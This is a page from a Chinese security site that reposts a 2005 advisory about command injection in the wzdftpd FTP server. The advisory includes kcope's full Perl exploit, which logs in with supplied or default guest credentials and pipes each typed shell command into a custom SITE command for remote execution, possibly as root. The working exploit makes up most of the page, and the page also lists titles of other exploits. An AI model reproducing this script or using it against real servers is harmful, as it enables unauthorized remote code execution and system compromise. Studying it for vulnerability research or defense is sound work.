首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Wzdftpd Code Execution
来源:kingcope@gmx.net 作者:kcope 发布时间:2005-09-27  

Wzdftpd Code Execution (Unfiltered Pipe in Popen)

Summary
Wzdftpd is a "Portable, modular and efficient ftp server, supporting SSL, winsock, multithreaded, modules ,externals scripts. unix-like permissions+acls, virtual users/groups, security, speed, bandwith limitation (user,group,global), group admins, per command auth."

Lack of proper input validation allow attackers to execute arbitrary code using the wzdftpd server.

Credit:
The information has been provided by kcope.

Details
Exploit:
######################################################
# 0day0day0day0day0day0day0day
# -------------------------------
# wzdftpd remote exploit by kcope
# nice call to popen(3) on custom
# site commands...
#
# August 2005
# confidential! keep private!
# -------------------------------
# 0day0day0day0day0day0day0day
#
# .___ _____ __ .___
#__ _ __________ __| _// ____\/ |_______ __| _/
#\ \/ \/ /\___ // __ |\ __\\ __\____ \ / __ |
# \ / / // /_/ | | | | | | |_> > /_/ |
# \/\_/ /_____ \____ | |__| |__| | __/\____ |
# \/ \/ |__| \/
#
#__ _ _______ _______ ____ ________
#\ \/ \/ /\__ \\_ __ \_/ __ \\___ /
# \ / / __ \| | \/\ ___/ / /
# \/\_/ (____ /__| \___ >_____ \
# \/ \/ \/ VER1
######################################################
use Net::FTP;

sub usage
{
print "usage: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command\n" .
"default guest account for wzdftpd is username/password: guest/%\n";
}

print " wzdftpd remote exploit by kcope August 2005 confidential! keep private! ";
if ($#ARGV < 4) {
usage();
exit();
}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$sitecmd = $ARGV[4];
$ftp = Net::FTP->new(Host => $host, Port => $port, Debug => 0) or die "Cannot connect to $host: $@";
$ftp->login($user, $pass) or die "Cannot login ", $ftp->message;

print "Now you can type commands, hopefully as r00t!\n";

while(1) {
print "!\$%&#>";
$cmd=<stdin>;
$ftp->site($sitecmd, "|$cmd;");
print $ftp->message();
}

#EoF



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·My Little Forum SQL Injection
·Gadu-Gadu Invisible Users Dete
·MultiTheftAuto Privileges Esca
·Mozilla Browsers Remote Heap B
·Realplayer and Helix Player RP
·HP LaserJet Network Username a
·GNU Mailutils imap4d search Co
·Qpopper Poppassd Local Root
·Mozilla Suite - Firefox - Nets
·Barracuda Spam Firewall img.pl
·CuteNews Code Execution
·BlenderPlayer Local Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved